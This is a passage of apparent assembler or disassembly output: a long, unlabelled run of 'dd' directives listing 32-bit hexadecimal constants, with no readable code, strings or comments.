73D9AD7Ah, 42595F42h, 9010C1F9h dd 0E16ED28Dh, 0BF094BCCh, 0B213717h, 32312D9Dh, 0A950C85Fh dd 8C588E40h, 0A57EC59Ch, 4A6BCA0Bh, 43B9F8F9h, 67ACF627h dd 3E75E7Bh, 78330F88h, 9AEB0782h, 49DEE7B8h, 0A5211749h dd 67BAC984h, 0D71CA403h, 0C817B3B8h, 0F0909CEEh, 739E3E9h dd 25E8E04Eh, 6042FEB0h, 87AD5BAEh, 0B31D7C26h, 0B01161FAh dd 5047D6B3h, 0A489AFC0h, 60480B12h, 78F8B6Fh, 0D0708DE1h dd 10509493h, 80577050h, 0A4EBCAC4h, 5BE9BD5Ah, 0E7388234h dd 8BB7F174h, 4E12ECC6h, 5D51AB4Bh, 704660FDh, 0E173F357h dd 0A75B623Fh, 0C8A88DDFh, 0D28E1688h, 0E378DFACh, 0A114B9B7h dd 1DA65B28h, 0ED1A0708h, 0DB48E0B2h, 99287E5Bh, 92E5D07Fh dd 0A9911DCEh, 2CE75F7Fh, 0A39F0534h, 0F20342DEh, 3268073Eh dd 0F32D4EE1h, 0C41233D6h, 5AEFEA6Ah, 7166F1EBh, 0BEC5A718h dd 0C3A4B1E4h, 978232FDh, 63151E75h, 5B32DA8Ch, 7B9C6335h dd 0BA6AB132h, 0E64C5880h, 9C00A7FAh, 4AD60548h, 39FA3495h dd 9A9C3C81h, 5F428055h, 0C1E47558h, 0A4E634C8h, 61731D71h dd 22D6BF09h, 67F9E104h, 4DBFEF6h, 0FF9A66Ch, 0F342C6DCh dd 0A58BEB2Ch, 0C7D69F7Ch, 4C9424CFh, 67279E90h, 3FDB13FBh dd 8DAF0D3Eh, 6C0480F7h, 0EDC976AEh, 0F303E61Eh, 22B4882Ch dd 39C8EB5Fh, 0A8052EBCh, 0BD395117h, 6AB024AAh, 7EFB907Eh dd 0C880BD97h, 3675B5C7h, 1AF8D744h, 581A7365h, 79398CE1h dd 4FA00E8Ah, 0AF784A85h, 0D5809BDBh, 0F5014C3Fh, 68ABEF25h dd 80D05B9Bh, 0B95F6DCBh, 26DD44A7h, 495D6076h, 0E849F62Eh dd 0D6B93E2h, 1C9FF91Ah, 35881695h, 1E5536A3h, 9D221B2h dd 70F63E32h, 91DE5321h, 93829Fh, 0E55EBED5h, 80791598h dd 85408FCEh, 0F841F168h, 0C580F4F3h, 0A80E8980h, 0A2DEB9BDh dd 9A26B278h, 842112DBh, 47C43265h, 0AD3AF3EDh, 3310BE20h dd 715FB6Dh, 0BDEDE317h, 0AEA86BCAh, 7B81521Bh, 5B7DCE7Eh dd 77C72279h, 167C0690h, 2A205719h, 0D297885h, 48E7AE13h dd 7CC5919h, 960480ADh, 999B635Eh, 8B2226C0h, 171DA93Ah dd 0D98963F3h, 0C94260DDh, 14B13929h, 0E34CD76Fh, 48079013h dd 52F0A764h, 6EE076ACh, 619DE696h, 687B0938h, 0A2ED3D89h dd 5C30942Ch, 2824C58Fh, 31792796h, 1E819A32h, 29DFCE1Ah dd 0A6FBFDFh, 13001410h dd 89893DF5h, 0D13C2D0Ah, 67AB55D1h, 178477F6h, 0F5D9179Ah dd 339BC915h, 0F2C22228h, 51F7B8E1h, 7E9C3424h, 27E70622h dd 1AB07336h, 1099CDF1h, 769FB47Eh, 0C7307DA0h, 0F98CD156h dd 66C7968Fh, 9FEDD3C5h, 0E263FA1Fh, 8D8A3231h, 0A4480107h dd 0E04B095Bh, 0A4522C79h, 1E699669h, 289D99FBh, 7B47F87Ah dd 0B0F5D4C8h, 4AA2C19Bh, 0E881349Bh, 15694336h, 83FD7FF5h dd 42C05759h, 0DBEA294h, 0B51A8F96h, 0C579228Bh, 0B334B280h dd 7FD6F738h, 260D13ACh, 0D50A2CEh, 28EEC737h, 0B20CF666h dd 0E153409Dh, 0EF94369Fh, 0B3FB6076h, 0DA46C0C0h, 0C040C9A3h dd 0E9EA8342h, 7F71E884h, 0B26B492Eh, 0DBF0E9A0h, 2BAB2B9Ah dd 774D873Eh, 0DF3B9B38h, 0DA6C0940h, 50093h, 0EA9BC0BDh dd 63D0697h, 0F397EA8Ch, 0CE6DE38Ch, 2E08F7E4h, 0D6BE8776h dd 34E076DEh, 5291855Dh, 2C7AC907h, 0C918DDCh, 9E1A7713h dd 0E29B4F8Bh, 0E5480CFh, 15994306h, 405640DDh, 7888AABDh dd 435C6AD4h, 60146537h, 380C3C5Bh, 8E81C03Bh, 3B93FFA2h dd 6FC73E7h, 61DC6662h, 77F56454h, 7C6140F7h, 96EEB6FAh dd 393E23C7h, 80CE6B56h, 0AF6EE388h, 70D8D2BAh, 881B7C1Bh dd 4E0998CCh, 770261EBh, 60FB1208h, 0B317E292h, 0FEBB09C2h dd 2EBBB236h, 80D14E6Eh, 176CAA7Bh, 0BE6E0133h, 845E9B08h dd 3870E4C0h, 0AA96C6D4h, 0E46F552Fh, 0A90663E3h, 3F9C11CCh dd 562BB08Dh, 4A2371h, 40E67285h, 0EBE7B443h, 4EEA9768h dd 0F8F6F5F5h, 0E475D95Dh, 27F188EEh, 53F5037Ch, 7F35B877h dd 568202B4h, 9E597598h, 83E31BB6h, 48BEFD0Ah, 0EE1574E0h dd 4127C383h, 0CE683CC1h, 0F3BDBEEEh, 93CF502Dh, 5C9B8C7Eh dd 0E5F756A4h, 0F412E474h, 0C437BBB4h, 5A70FD6Bh, 0CED48940h dd 54D8D6F8h, 6B3D8440h, 55334671h, 0FAB04A98h, 67BB7C75h dd 13F02615h, 0ACA499CBh, 19BEF402h, 846B463Ch, 7849AB23h dd 0A934BD7Ah, 2856D29Eh, 0E3231ADh, 0FE30F395h, 0D65594EFh dd 0E1EC4C21h, 0A863D090h, 0AF2E1FD6h, 616320CDh, 7A8F8B02h dd 7A0E9950h, 356E1BDCh, 1522005h, 2A3F77A6h, 47E7EC6Bh dd 0B8F60689h, 6B443996h, 79372448h, 4A86B952h, 0C9FF70C1h dd 5BA90A73h, 0DF7B33B9h, 0DC749FADh, 757669DEh, 0E3D0219Ah dd 4A21B870h, 3DFF1A99h, 3511FF49h, 9501C7AFh, 878076F0h dd 8CE29EBDh, 60CA3D20h, 47A0F37h, 67B59A60h, 47C55F6h dd 229B530Dh, 76ADA0C1h, 13A818ECh, 0FEBDA58Fh, 870C80A1h dd 30904A0Ch, 0CB253231h, 3623840Ch, 0FA6B56D4h, 51436899h dd 1E0BE7C4h, 0CA2F9C6Eh, 12F822B7h, 92CE0621h, 3080D6A5h dd 84543AD8h, 8C0B6A8h, 5AF8FFC4h, 0F26F0068h, 0E56146C1h dd 7E048917h, 0F216E3DBh, 0E4B732F8h, 92E7700Eh, 0CE91B8B1h dd 7335619Eh, 35A11F84h, 0A7323132h, 184786F2h, 0DC50A87Ah dd 0AD41517Dh, 530478D9h, 3F8CE423h, 0C6AA05F1h, 44FD9EBEh dd 188DCBF7h, 3CE02091h, 0C20D10D6h, 2DD9E646h, 0E2EBD535h dd 3EE44C45h, 856527B9h, 0C3323177h, 0D72F76B8h, 558AFF6Ah dd 28233FFFh, 0E5703DA9h, 0D12B2777h, 0F45B689Ch, 0BFD82592h dd 0D57EEBC1h, 8818F960h, 8F400B8Ah, 0F10ECBh, 0A86BD522h dd 6EBB845Ch, 2C4CE15Bh, 598EC5E0h, 0A913F76Dh, 0AC58FEEEh dd 15815BFFh, 56BBBDD9h, 0DD2C0EB7h, 5182FEF0h, 7E55A2EBh dd 0E1983F96h, 0AD3F0070h, 178E565Dh, 0A274153Eh, 0B60A2862h dd 9464A065h, 16ADBE18h, 0BF418175h, 318866A8h, 0AC090B32h dd 94B5863Fh, 0F20AA966h, 9854ABD8h, 254E3672h, 0C2234F23h dd 3E369495h, 254CA901h, 5D54B91Bh, 64490385h, 3A78E146h dd 14DBFC16h, 0DC91C1E3h, 44390CC6h, 0D0E6940Fh, 769342FFh dd 0F8A28056h, 6042AF52h, 14260252h, 1113C2DBh, 5CD7593Ah dd 5798372Fh, 38C7859Bh, 1355FD5Ah, 0A4672DB1h, 0B552FB11h dd 27D9580Ch, 0B5F01752h, 0FFE4C21h, 0C0120DDCh, 0E94BEAB0h dd 0AF8758DAh, 0F4ADA94Fh, 0E7CBB4C6h, 11F7DE82h, 96AABD8Bh dd 8BFF3CC0h, 0C25198F6h, 90FD2CC6h, 1B27E45Fh, 0B5B8F196h dd 55852306h, 0CB30998h, 11ECE002h, 3C3641D9h, 998BC5F1h dd 4C9E8D4Bh, 0A3844660h, 491FA3CFh, 2232A4D2h, 0CDA61C0Ch dd 4697F759h, 3622F3A1h, 0C2C17699h, 323115C2h, 2DE2076Dh dd 5EF49FD4h, 44663DF4h, 85345AF8h, 0AFF3A10Bh, 0BB6CB227h dd 0DEF68CFAh, 7C179797h, 0FC0C97B7h, 0EDE18E51h, 0AB0B94BFh dd 0F03608A0h, 9BB6D173h, 0A8D7F2B0h, 10FD3841h, 9ADBD56Eh dd 5D456ABFh, 0FBF7F939h, 0F6ABCD9Dh, 1A1A3687h, 975E9B06h dd 0F12CBC54h, 20D1B1A2h, 0AFA42A2Ah, 0A5325BC7h, 2C6FCC14h dd 4BB5467h, 1426A3Ch, 0ADE51632h, 705C36E4h, 4A9815A5h dd 0AD19B94Bh, 0F2B7DA58h, 0B4A8E03Fh, 0F10F0452h, 0BB45A82Bh dd 0BA7CAC24h, 111C3F6Ah, 5E1677E9h, 16ADEDEEh, 237F488Dh dd 19A581F2h, 0B82A5B92h, 0BABEB310h, 2BE82E69h, 0FE4B08F5h dd 7076FAFEh, 11B1D4BDh, 821092DEh, 2BD65016h, 43777DEDh dd 0B2723231h, 2CE9192Bh, 0C32BB6D3h, 4968E7Dh, 49F3AE9Ah dd 0BC37675Ch, 6AAB56B7h, 60A80FE3h, 2DB41942h, 0A7E7B78Fh dd 0AAA264EDh, 2FCB7C06h, 0DFED5E37h, 7D6E7399h, 99898389h dd 23D38307h, 722EDB75h, 0F4F5D00Dh, 4F14AED1h, 6DD1E74Eh dd 0DE12D9C8h, 6AEB37A5h, 0BA37B70Fh, 13EC44BFh, 0E577A9CBh dd 12610EEFh, 103EBF74h, 3E4F9D72h, 0E1D3E39Bh, 3C32828Ah dd 50086470h, 626110B8h, 8F7BB79Dh, 7115EB19h, 0EF46A726h dd 34B35239h, 868620C5h, 59A7F589h, 380E3B11h, 5A529C88h dd 0EF45E259h, 0CE0D5499h, 0BCEBD5FBh, 0D5B99644h, 0BF2D5D96h dd 0C8E6F02Ch, 1B1227FAh, 0C823EDFh, 0E4F94F0Eh, 0F840EFEFh dd 0D029FF42h, 0BD079D18h, 0D634FE06h, 0EB22240Ch, 0DAF8E0C1h dd 7FC2DD96h, 73454103h, 705A5B53h, 0CC282199h, 0CB522247h dd 86111C60h, 1BC9A615h, 3A7B4BAh, 0ECF08F17h, 0BC25BF01h dd 3A77589Eh, 67FB0E20h, 7FBCE3Fh, 8F45F2C5h, 0FBEEDD93h dd 5200D916h, 0BB904FF6h, 52FBD852h, 5B245162h, 0F0FE3286h dd 0F98C68AFh, 4E76B8A5h, 66D433ABh, 0F1F2818Dh, 10596A82h dd 0F3B49B46h, 861E46A9h, 7416C267h, 0A4102602h, 36D1A876h dd 9A40EC5Ah, 0FC255E46h, 955FA82h, 1DCEA796h, 0FB7E5000h dd 5947C759h, 0CDE843F6h, 0BF11987Fh, 2A94E307h, 5AD8EDBAh dd 0B4A4A048h, 242701A1h, 98F45C4h, 64D16681h, 52C479C7h dd 0DF5F33D1h, 0AC3E0CAEh, 5F1FB8C0h, 0BF922CE2h, 839A3D3Ch dd 477ACA64h, 0EFAC923Eh, 787EE785h, 0CA520AC9h, 3D8E41C2h dd 22F836C0h, 34B40FC7h, 9159B5CFh, 657A013Ah, 0C3F9851Ah dd 794FFC07h, 0C9C44C57h, 73B2EE4Bh, 0C01E26BFh, 6F644398h dd 0A16467F4h, 74451EA9h, 0B1CAD3FAh, 3D8795B0h, 31D84C10h dd 18F69532h, 0E81C72A4h, 8568995Dh, 6CE28906h, 88A0507h dd 0CA4CEFFAh, 818009EBh, 0B7063231h, 0C9AD4F1Ah, 0FACF3231h dd 630EAAF6h, 2DAA37B9h, 0AACF12FCh, 64C5D4F0h, 0F56605DEh dd 2C1FEF21h, 0F37B25F7h, 81CD7869h, 0CDA884D7h, 0B9D8189Ah dd 631BDB7Fh, 693B5CACh, 747C5972h, 4F99DF82h, 0DB6783DDh dd 59AC99CCh, 26A80B12h, 688D3469h, 7C95DA43h, 0F21BD5C0h dd 654DA6A9h, 1D145BCAh, 20E8BF82h, 4527615Ah, 5376217Dh dd 0B3AFA89Ch, 71A1EDF3h dd 1CD3EDDDh, 0D3999A3Eh, 95492555h, 85DE45BFh, 0BC90F755h dd 0FAA7C539h, 0D18D4005h, 6C5A8C97h, 0A9D4AA40h, 0A4B83A24h dd 0E6C72890h, 92D24986h, 1673DCEAh, 3DF680B6h, 66B1EC8h dd 397CED8Fh, 73B23386h, 0C7646EA3h, 68C85582h, 5D89E3B4h dd 525A428Eh, 0FF434787h, 91467B81h, 2850A4B0h, 7BB473EFh dd 324D1DA3h, 85B900BBh, 279F24D7h, 0B78EF9B4h, 0A08ED10Ch dd 0CBDF3558h, 585613F5h, 522DBF71h, 0F05736F7h, 0E8CF10FEh dd 0A71FB49Dh, 0EA610A76h, 0E68A4B27h, 537B4B3Fh, 6C162957h dd 3F800CD0h, 225FCAC1h, 0C1CA6D0Fh, 0F7549998h, 6E750ECAh dd 0A9EEC7A9h, 0D2A98451h, 9A184803h, 0C403D0DCh, 240D9DC2h dd 362386DCh, 0BEDD1835h, 49574CF4h, 4A2C2BB1h, 8C1840EBh dd 3231801Fh, 64D21727h, 0BBBD9FDBh, 0D01A3412h, 6D0EF1FDh dd 8965FABBh, 67F67A82h, 0FDC777B0h, 2B1C42E7h, 8BDAA3B4h dd 353F75A0h, 176F828Ah, 43444E15h, 63582212h, 0F0C3741Bh dd 86F8279Fh, 33032C38h, 0FDA37854h, 0C23D98E1h, 5F8AED12h dd 32310E9Ah, 2CDA43DFh, 0A556715h, 181580EBh, 30F62BC6h dd 7247C85Eh, 0E615C236h, 26214A2Ch, 0DD0DCF19h, 4018BF53h dd 0FE96C5F1h, 0CBB44D7h, 4856EC53h, 0DE7B4E1Bh, 18E671CCh dd 0A522C2B3h, 0CF4FD085h, 1696BFF7h, 20E7AD49h, 8A7F230Dh dd 0AB7E11B8h, 61CAA26Ch, 92781309h, 616C640Fh, 0D5AB1CAh dd 1ECCA562h, 0F5DDF92Ch, 0F738056Eh, 1D6AE547h, 0F8C2D458h dd 2F51354Eh, 29A58B61h, 0AC9E5869h, 726675ADh, 3231ACC7h dd 0A0456556h, 0F1F14B0Eh, 4A7A86Fh, 7AF14D42h, 835A59FCh dd 9BED4C65h, 76C3F5Fh, 0C2D4433Ah, 0DD0B2F04h, 1E1059C5h dd 0BB5943E7h, 2819AF04h, 31568E1Fh, 0B7ECBB32h, 0E2D36D0h dd 5289746Dh, 79182BE1h, 6128EE05h, 612C4390h, 0BCF92637h dd 76982D0Ah, 45137BADh, 0B2325CA0h, 0D4052B8Eh, 64512EA8h dd 3D1D99C2h, 1C25CD4Eh, 8F2D3E61h, 0F5E4745Ah, 8FE7125Ch dd 830AEFDBh, 447445C7h, 0CAB56C65h, 6E5B7CFBh, 0E4F365C2h dd 49101F91h, 7706511Eh, 2513B058h, 18554E32h, 0B32E14C5h dd 4DAD1DBCh, 1126A3FFh, 112EF379h, 8496D067h, 6D570358h dd 51E2C88Ch, 0AB922BD6h, 3098D263h, 0DC5F561Fh, 0F9CA5B77h dd 0D35AB72Ch, 3FD972F3h, 9F6A12Fh, 0C70D9927h, 0D9247893h dd 547CF9Ch, 2B3B2EC4h, 0AD405806h, 81D26E1h, 0D4D1F576h dd 1DAF2EE7h, 42533ADAh, 2D494E42h, 36222082h, 0DD2A0623h dd 0B5437696h, 3BA2248Dh, 0B700278Ah, 608D3A9Dh, 81C2AB93h dd 49D6092Ah, 8DE1B34Eh, 746594Ah, 0EA9C4E13h, 31536084h dd 0A7438532h, 20ACA36Fh, 0FF0755D1h, 6E2F92CCh, 8EB8DE1Ch dd 2E094AB7h, 9F34F7FAh, 64034CB7h, 802D499h, 0D1740A28h dd 48D40713h, 5581E983h, 0D626905Bh, 0E95201FFh, 52E8764Ah dd 654D34FBh, 1C457946h, 0D2C9ABEBh, 0B46A3040h, 0D100EE2Ch dd 1FD5C313h, 0ED7FE27Fh, 6F89B63Eh, 202EB7E4h, 8E1D8EF1h dd 0F7519061h, 7B4CA9FAh, 0F52DBE10h, 134C11BFh, 0D093F6AEh dd 63D6511h, 4B80F1DCh, 0DFAC2008h, 0B01A0286h, 0A66AEE35h dd 896F62CBh, 48CCB6C2h, 1AEE2D65h, 7001AA3Fh, 183D0E1Dh dd 0E68E0C78h, 62A8372Ah, 59895AEEh, 932AAF70h, 518FAB3Dh dd 30602080h, 0D6B7028Bh, 0F3E3B7EFh, 0B99CA1F0h, 2FF48BDh dd 9670D61Bh, 6DBE237Bh, 0FD0920Fh, 0A188BBCBh, 0E4108CACh dd 1CA149BCh, 0CABFEDE7h, 98096903h, 0FBA2A832h, 0EF2D84AAh dd 0C9A01CF0h, 0EAD1B2Eh, 0EB8A54E6h, 87027B70h, 0E830225Eh dd 0EB3013CEh, 0DF5B593h, 0C6D7EC9Eh, 55FF251Bh, 77F4C020h dd 90D4EDFFh, 0D7BCB1CEh, 3AB015BFh, 209AB9FFh, 69A499D8h dd 668CC585h, 6F70024Ah, 43DC9357h, 0A569EAF5h, 0D9AE08BEh dd 501A9DB8h, 4BD2F093h, 0EB1D7D23h, 91011F3Fh, 13487AB9h dd 70303231h, 41FF6EBh, 8A9EA7CEh, 49C2D23Bh, 0DC7E5582h dd 17ACBBE7h, 47B65149h, 66F6D64Fh, 5167C76h, 5E76B3A5h dd 0E013BD3h, 5ACEAE6Fh, 4D995B1Fh, 82C120E9h, 0BD3897B0h dd 6A65886h, 0C336A495h, 2BCC9A6Fh, 0EF40D219h, 0EE2A8475h dd 163072h, 0A57E71Ch, 0AF51BC81h, 24B0E11h, 5529C451h dd 2DF3B5EEh, 1FB1F356h, 719B8468h, 9533B8E3h, 0D5976080h dd 48096D62h, 0F12A01A0h, 1E7CF35h, 8A2E9F5Eh, 0B784415h dd 0A53DB1CAh, 617FDA81h, 1859DF07h, 3BE46327h, 6F2D1A0Fh dd 0F24025EDh, 8E35250h, 63F317EDh, 0D46EBD22h, 8BE9C3A2h dd 236D12CCh, 0D3C06C63h, 0EAA1AEE1h, 9D323165h, 2BBAE54Eh dd 0DC0798AEh, 0C01670Eh, 23A93DFh, 0E0212DF4h, 0A922060Ch dd 9C0EB6C2h, 0CF640B8Dh, 0BE5B941Ch, 7E92B43Fh, 0B6B99CFEh dd 43911B1h, 0A4FF3617h, 718C700Eh, 0B53D1182h, 0FDC86D15h dd 0F1912780h, 342B631Ch, 5CAE0C68h, 0D2DCD963h, 30304A32h dd 0FB05C179h, 0FF729EF1h, 0E9408444h, 0B27514B6h, 84AF2F81h dd 9267EEB5h, 7E26D814h, 6AE92632h, 0ECDA851h, 4BE5C56Bh dd 5F9A5D77h, 0CAB861ABh, 622BF3FAh, 4DCA45C8h, 0F931FB2h dd 9696FFBBh, 0B255B024h, 1DEFD716h, 0E6D6CDA3h, 93A4BC69h dd 564B0DE3h, 4CE6A146h, 89C6B8B6h, 7C4D1AEFh, 0BBDEFC6Ch dd 0EA9124F3h, 0C03DAA34h, 0BBC69BC5h, 1EE4C2B4h, 0A6BABD7Bh dd 0C585A816h, 8FB76376h, 2DC1D0C7h, 0D9C06546h, 9C103C9Dh dd 0C1083CDAh, 7F290249h, 0A63DEE6Dh, 58AEA4E2h, 0DC7AB123h dd 0AE7BB465h, 256CFD27h, 0E9E70C0Ch, 3D640BE0h, 0F592B4A8h dd 0E502EF3Bh, 0C81AD2A6h, 821088Ah, 0DD93E935h, 0AA952443h dd 6EE63231h, 85246852h, 0B29E1805h, 3AB3D66Dh, 9CEC35F0h dd 0F061830Ch, 0AAD64418h, 0E39B9121h, 78D45913h, 742C8202h dd 63035BCCh, 9A5077FDh, 0EE2BDF42h, 0ACD1B60Ch, 0C46199B8h dd 0A19BFB3Dh, 4CEF926Bh, 56D856F3h, 0F429956Ah, 0FEFA38D4h dd 0F03F34DCh, 0B90C9A19h, 209C3CB4h, 1C7A7419h, 0D91D99DCh dd 0BCE352E7h, 0F5088165h, 0F1B453EFh, 0B82F11F1h, 6BA7F490h dd 0A2EE8A7Ah, 603DB79Bh, 934D5100h, 6AB1E7A5h, 50BCB9F2h dd 0CA67DE61h, 5C9BB2FEh, 0FDB17521h, 0C07A1EB2h, 945C7AF5h dd 227D7F6Bh, 2FFBCAC6h, 737E6CD0h, 9A78C256h, 3231FDA2h dd 1659D36Fh, 66606CDEh, 0F3DB5391h, 0B785D8F0h, 0DAB5CF7Ah dd 0FA0555BFh, 948BC6FDh, 0F753086Ch, 3846D64Ah, 4D85F5FFh dd 462AEC10h, 9DA96C67h, 0BD04EF97h, 0EE1830A6h, 0A118A37Dh dd 28C55980h, 0D1DB9244h, 0D46ED632h, 0AB3FD837h, 0B6172E11h dd 6AC2D32Fh, 65937A49h, 0F67FEB77h, 4E8083FFh, 0B7C6C6A2h dd 964F0D35h, 332313Bh, 217CD615h, 56700975h, 4DB30FB0h dd 738D5589h, 49ECC955h, 1F9E08EFh, 0DABFD360h, 0D1781EF2h dd 0E1687A8Ch, 0A79A2E0h, 309BB762h, 535F3E38h, 57F03AC2h dd 0E824467Ch, 0BFCCFD53h, 1DB1601Ch, 0F86755E7h, 0C61E9358h dd 31B7588Eh, 62E63C32h, 87101582h, 72FB9D76h, 39ACE549h dd 47306480h, 0B21450h, 54C9B63Eh, 0F4096Eh, 0E0CDC64Ch dd 9C22BF98h, 0BABF74ACh, 0CC59D881h, 6D4475F1h, 853C1609h dd 0E3BF4126h, 1FBBF8DEh, 22F1E9C7h, 0FA3B9276h, 36FBB4Ah dd 94E8348h, 20118206h, 82C8ECEh, 1599F611h, 387CF357h dd 2C1F3319h, 572E2047h, 0B40637CEh, 3EE164D3h, 0D6986D6Ch dd 0CC4CD6B3h, 0D739D607h dd 0ECE45FDAh, 14FC6442h, 3204EFCDh, 0E96DD1B8h, 0C15E6B90h dd 0FBECB8D4h, 3AA4EF22h, 549B5F11h, 712EA23h, 0F5B47CEh dd 133D5617h, 7F32B0Ah, 0F26A8D14h, 0A7EB4414h, 0BCAD1F06h dd 0CD323177h, 46A56E18h, 6BA5C21Fh, 0D7F14A1Ch, 0AA543536h dd 0CA22B7DCh, 0F3DB3BE8h, 0E95AFFBFh, 89D0170h, 0A62B0117h dd 0F9B85011h, 0F442F4F0h, 0F30D162h, 0DB323197h, 315CBAABh dd 915E1932h, 2241F940h, 65276F01h, 883B0F7Ah, 5D4D2A4Fh dd 150355F7h, 0E151D3F5h, 0CCBF6F1Eh, 4AE96864h, 0A3D4F3E3h dd 269F93E3h, 8CDE864Dh, 758119E3h, 0C254BB70h, 48AE038Fh dd 9161B834h, 0FFBC9DD4h, 4B7E473h, 8B7D4D6h, 6C614CEAh dd 3D8DD2F4h, 0BB1436D2h, 82B1821Eh, 0AF5A4B50h, 4B1E2671h dd 2D1E39D6h, 0AC434945h, 0BB0ED61Dh, 485FC398h, 53A83231h dd 4B177B3Dh, 0D567D6C1h, 0BC64D790h, 0F3E976Ah, 51344CDCh dd 78ABC7FEh, 7C68A0E8h, 3E6B16C5h, 0F6216ED0h, 0E88DB844h dd 0CD936325h, 2DC39774h, 5EF64C52h, 52BA525Dh, 0E0109BA7h dd 0B13A30B8h, 4E6F90E9h, 9194CAF2h, 0E24B4FAAh, 0DF2C335Ch dd 0C29A2C01h, 0E35BFDB4h, 0A49D2DD5h, 35F5AC87h, 0DE43E932h dd 0F2EEAA1Bh, 0AC623231h, 6086711Bh, 1D80D1FEh, 3F9CF450h dd 7AEE397Ch, 320939A8h, 0C662BC20h, 719EC4E5h, 49C07273h dd 0D208FAE2h, 897250D2h, 3E879039h, 59CE504Eh, 0B029C9A5h dd 0B6A9D3BDh, 1001895h, 0D5F81189h, 639DCB65h, 4488B97Dh dd 0B10210A6h, 0BF590D27h, 32510B6Ah, 3A9D46ABh, 61EC9E72h dd 75B05CAEh, 0B02DDF8Dh, 8C253097h, 4BDA32C0h, 10925B40h dd 412086DBh, 0E2FBD6D6h, 5AE7A67Eh, 816EB77Ah, 0C4B3CA3Ch dd 0DC0927E4h, 6D569B9Eh, 7736D68Ah, 62D924EAh, 3B50529h dd 456678C2h, 0D8F15411h, 0CBC1831Bh, 399157DCh, 0D18B5328h dd 81CD919Eh, 0A58D6FA0h, 0DFF04847h, 0AE55AA91h, 1EB984A5h dd 850CCAD9h, 0E39BB2CDh, 5A77C4Bh, 0EDDF777h, 4CC1030h dd 235751CDh, 32C4A61Ah, 9C53F0C2h, 77EE3BAEh, 81FDE59Dh dd 0D5E4C0C4h, 1ED2485Fh, 0F4763231h, 122CA29Bh, 0CB4FF363h dd 551B06F6h, 6745641Bh, 0DE69DBE4h, 1CC0D009h, 11A79B77h dd 6E8AE48Eh, 52D3F95Ch, 0FE08EA72h, 0B4B433CAh, 0B3566374h dd 6FA2EA14h, 3A36F528h, 5917F3E0h, 0CF9F211Ah, 10C46E6Fh dd 0DD19DD4Ch, 0FC4A4854h, 11E69E3Bh, 7022D922h, 82D2ED1Bh dd 55113F85h, 0E45D9C79h, 3676A75h, 519C3231h, 0F954034h dd 22247A9h, 55425894h, 7F81026h, 3491BE70h, 0CBEF3D3Bh dd 0D1A7EF54h, 0EACEBF40h, 46CB5D4Dh, 0DDFA0538h, 0DD4E93DDh dd 849F2E4Fh, 95CE792h, 453D570Eh, 5320935Eh, 806F3200h dd 100F2286h, 8F670D7Bh, 82308022h, 9D029A88h, 87AFA469h dd 0C3733231h, 69056FC4h, 7065B595h, 0F8BA44A2h, 5558900Bh dd 570CAC9Eh, 7B9D0EE7h, 0B74A7054h, 9E784EC3h, 0FF6663B4h dd 41C4594Ch, 792651F2h, 8DB4CB8Ah, 4FC9A691h, 927CAE73h dd 0DDE24C4Fh, 9037ED64h, 0C199810Ah, 380A0233h, 0E9196A6Ch dd 0C4FD84BFh, 4EA04965h, 379919C0h, 0C83A2F99h, 5B7C9DF9h dd 0C747BC42h, 7F815A4Dh, 49C0F013h, 0F83413D7h, 0A4E9F7BFh dd 6E86A3ADh, 0A6E59686h, 0BEFF49EDh, 3070BBFFh, 33425287h dd 41B048F5h, 6BBA7942h, 1191E3F9h, 329E529Fh, 89A299AFh dd 329C40FDh, 93A36D34h, 32C06A4Fh, 0D9F78148h, 19970026h dd 0C6CFB633h, 0C45265F7h, 520C4464h, 27054E9Ah, 0EBC5DB0Bh dd 957CEEEAh, 0FD0C0839h, 0CEC63528h, 3B87BA77h, 560D4237h dd 5F2586C7h, 38186FC4h, 354C7892h, 65A76EE6h, 0C99F8779h dd 0C077E433h, 68C3541Dh, 63D53767h, 0E8877C45h, 357B552Dh dd 0A35AAF4Bh, 0A5E27E11h, 841C9243h, 4151AE64h, 643B539Ch dd 0D1BB856Fh, 0F1BC3D2Bh, 0B20BB302h, 6C7969E3h, 3CAE74BAh dd 60B4416Ah, 0FDDED029h, 0BAAD644Fh, 1D33C7C7h, 3FDD0A21h dd 0D826C4D3h, 1D8B92C0h, 9C2BCD11h, 5FC439A9h, 0D8D9665Ah dd 0C235755Ch, 7CE5C093h, 80029A0Fh, 0D819C696h, 72B9E268h dd 60506F8Bh, 1E0651FDh, 0DB3A2475h, 0D56A7027h, 5B95FA46h dd 321EAA84h, 0B98486E7h, 0D43A8522h, 0C4370D3Bh, 0EE7A2DC7h dd 0F5A6292Ch, 83DC2D7Dh, 0C41F3231h, 25AB2AF5h, 0F048EAF8h dd 0D111748Eh, 0A37F2B0h, 1874047Ch, 92B8655Dh, 0AA81CF61h dd 99E8F3BFh, 0C50623C7h, 31ACA1D2h, 734BBC32h, 657D8D54h dd 893D0C25h, 0EAFF7B73h, 0AF837F8Bh, 68CD9F06h, 0C42128B3h dd 0ADFF7788h, 73088409h, 0B58E8C63h, 1C5D7540h, 7CF4B417h dd 61168A66h, 1BB2C3DCh, 0D1658C53h, 0F634264Ch, 0DC8345BBh dd 0A084F755h, 62DCF9E7h, 498034F9h, 72D3DD34h, 0D7CE27C5h dd 4AA686F5h, 0A012E86Dh, 0BEB08821h, 0A34F5584h, 435ACC6Dh dd 90A7F1D1h, 93223288h, 25E74505h, 221A5FC8h, 224CAD88h dd 218E5917h, 0C55A76A7h, 60550694h, 921345CFh, 0F7BE7434h dd 4999732Fh, 0D2BD6401h, 6A403F84h, 563390BFh, 0CDEA4B6Dh dd 0D3CE1EBFh, 0DCDB93Ah, 32310EA9h, 7F2AA6FFh, 62BD84E9h dd 0BADF3752h, 47A9D189h, 0B07890CDh, 0D3621FA4h, 1DCDD6C1h dd 0E9DC206Bh, 17340B7Dh, 11710A9Ah, 91521583h, 72C2F972h dd 983851D6h, 34A76703h, 767A3CA3h, 7FA37B71h, 14E65552h dd 0A3F883ADh, 0BED9BFC0h, 0E83D320Ah, 0BF76C52Ch, 0AEDBF116h dd 655CAADEh, 9F447AE5h, 0B0AE5DCAh, 113B1F9Ah, 1754E2A3h dd 57227D26h, 0A7160F14h, 0C7A5F4C8h, 0B3D4C978h, 579164DFh dd 90B91CA8h, 0ADAA6332h, 908E0324h, 0A303B621h, 30F710C4h dd 0BA5E0040h, 0B9ED0C27h, 0A09FE333h, 35AC7F13h, 0DDF2FA1Dh dd 33239FBh, 1654D330h, 0A7E12A84h, 9DB60F3Dh, 389D9F32h dd 929533D3h, 0FB9A6A73h, 0B9BF0432h, 1086227Dh, 0B517C0EAh dd 0AA07C3Ah, 